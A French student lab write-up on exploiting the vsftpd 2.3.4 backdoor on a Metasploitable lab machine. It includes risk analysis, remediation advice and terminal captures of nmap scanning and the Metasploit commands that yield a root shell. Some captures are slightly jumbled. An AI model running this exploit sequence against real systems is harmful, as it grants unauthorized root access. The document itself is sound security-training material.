

TP cyber Exploitation de faille via metasploit

1. Objectif du TP

Ce TP avait pour objectif de réaliser une phase complète de reconnaissance et d'analyse de sécurité sur une machine de laboratoire vulnérable (Metasploitable).

Les objectifs principaux étaient :

- ***Identifier les services exposés sur un serveur.***
 - ***Détecter une vulnérabilité connue.***
 - ***Utiliser un framework de sécurité pour vérifier l'exploitabilité.***
 - ***Analyser les impacts possibles en contexte professionnel.***
-

2. Partie 1 – Découverte de la cible

Scan réseau

Un scan a été réalisé avec l'outil Nmap afin d'identifier les ports ouverts et les services actifs.

Ports ouverts détectés

Le scan révèle plusieurs ports ouverts, notamment :

- ***21 (FTP)***
- ***22 (SSH)***
- ***23 (Telnet)***
- ***25 (SMTP)***
- ***80 (HTTP)***
- ***ainsi que d'autres services réseau.***

Services détectés

Les principaux services identifiés sont :

- ***vsftpd 2.3.4***
- ***OpenSSH 4.7p1***
- ***Apache httpd 2.2.8***
- ***Samba***
- ***MySQL***
- ***PostgreSQL***

Identification d'un service vulnérable

Le service FTP utilisant vsftpd 2.3.4 a été identifié comme potentiellement vulnérable.

Cette version est connue pour avoir contenu une porte dérobée (backdoor) dans certaines distributions historiques du logiciel.

3. Partie 2 – Découverte de Metasploit

Recherche du module correspondant

Une recherche dans Metasploit a permis d'identifier le module :

exploit/unix/ftp/vsftpd_234_backdoor

Vulnérabilité exploitée

La vulnérabilité correspond à :

- *une backdoor introduite dans le code source de vsftpd en 2011,*
- *permettant l'exécution de commandes à distance.*

Service concerné

- *Service FTP (File Transfer Protocol)*
 - *Port TCP 21*
-

4. Partie 3 – Exploitation (en environnement pédagogique)

Le module Metasploit a été chargé et configuré avec l'adresse IP de la cible.

Après exécution de l'exploit, un accès distant a été obtenu.

5. Partie 4 – Analyse du résultat

Niveau d'accès obtenu

L'exploitation a permis d'obtenir un accès Root (administrateur système).

La commande :

whoami

a confirmé les privilèges élevés.

Risques pour une entreprise

Le risque est considéré comme critique :

- *prise de contrôle totale du serveur,*
- *arrêt ou sabotage des services,*
- *installation de malwares ou ransomwares,*

- *pivot vers d'autres machines du réseau interne.*

Données potentiellement compromises

Toutes les données hébergées sur le serveur peuvent être affectées :

- *fichiers clients,*
 - *bases de données,*
 - *codes sources,*
 - *fichiers systèmes sensibles (ex : /etc/shadow).*
-

6. Partie 5 – Analyse sécurité

Causes principales de la vulnérabilité

- *Utilisation d'un logiciel obsolète.*
 - *Absence de mises à jour de sécurité.*
 - *Exposition directe du service sur le réseau.*
-

Mesures correctives immédiates

- *Mise à jour vers une version récente et sécurisée du service FTP.*
 - *Mise en place d'un filtrage firewall pour limiter l'accès.*
 - *Désactivation du service FTP s'il n'est pas indispensable.*
-

Mesures préventives (long terme)

- *Mise en place d'une politique de patch management.*
 - *Veille sécurité régulière (CVE, alertes éditeurs).*
 - *Réalisation de scans de vulnérabilités périodiques.*
 - *Réduction de la surface d'exposition des services.*
-

7. Partie 6 – Synthèse professionnelle

Description

L'audit a permis d'identifier une faille critique sur le service FTP.

L'exploitation réussie via Metasploit démontre qu'un attaquant peut obtenir un accès administrateur sans connaissance préalable des identifiants.

Impact

- *Compromission totale de la confidentialité.*

- *Perte d'intégrité des données.*
- *Risque d'indisponibilité des services.*

Recommandations

Il est indispensable de :

- *maintenir les services à jour,*
 - *limiter les services exposés,*
 - *appliquer une politique de sécurité proactive.*
-

8. Conclusion

Ce TP a permis de comprendre concrètement les étapes d'un audit de sécurité :

1. *Reconnaissance réseau*
2. *Identification des services*
3. *Analyse des versions*
4. *Exploitation d'une vulnérabilité connue*
5. *Évaluation des risques*

Cette expérience met en évidence l'importance des mises à jour et du durcissement des infrastructures pour protéger un système d'information.

VOICI LA DEMONSTRATION

ip de la machine vulnérable : 192.168.20.158 (IP CIBLE)

commande ifconfig

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:7f:91:81
          inet addr:192.168.20.158  Bcast:192.168.20.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe7f:9181/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1521 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1413 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:101862 (99.4 KB)  TX bytes:135476 (132.3 KB)
          Interrupt:17 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:236 errors:0 dropped:0 overruns:0 frame:0
          TX packets:236 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:91301 (89.1 KB)  TX bytes:91301 (89.1 KB)

msfadmin@metasploitable:~$
```

Scan des services pour trouver notre cible

```
(brandon93@kali)-[~]
$ ping -c 4 192.168.20.158
PING 192.168.20.158 (192.168.20.158) 56(84) bytes of data.
64 bytes from 192.168.20.158: icmp_seq=1 ttl=64 time=1.12 ms
64 bytes from 192.168.20.158: icmp_seq=2 ttl=64 time=1.05 ms
64 bytes from 192.168.20.158: icmp_seq=3 ttl=64 time=1.31 ms
64 bytes from 192.168.20.158: icmp_seq=4 ttl=64 time=1.07 ms

— 192.168.20.158 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 1.050/1.139/1.312/0.102 ms

(brandon93@kali)-[~]
$
```

Test de la connexion entre les deux machines

```
(brandon93@kali)-[~]
$ nmap -sV 192.168.20.158
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-02 18:54 CET
Nmap scan report for 192.168.20.158
Host is up (0.0028s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
```

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4

[illegible]

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal    Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execut
ion

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Tapez la commande : search vsftpd

Pour trouver l'exploit

```
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execut
```

Le module qui nous intéresse

Utilisez la commande : use exploit/unix/ftp/vsftpd_234_backdoor

Sert à sélectionner le module

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

nous voici dans l'exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

On va configurer la cible en tapant cette commande :

Set RHOSTS 192.168.20.158 (IP CIBLE)

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.20.158
[!] Unknown datastore option: RHOSTS. Did you mean RHOSTS?
RHOSTS => 192.168.20.158
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.20.158
RHOSTS => 192.168.20.158
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Avec la commande show options on vérifie si l'ip cible à bien était pris en compte

```
[*] Invalid parameter 'option', use 'show -h' for more information
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.20.158  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT            yes       The target port (TCP)

Exploit target:

  Id  Name
  --  ---
  0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Avec la commande exploit on lance l'attaque

on voit que notre attaque fonctionne (car on voit écrit Found shell

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.20.158:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.20.158:21 - USER: 331 Please specify the password.
[+] 192.168.20.158:21 - Backdoor service has been spawned, handling ...
[+] 192.168.20.158:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
```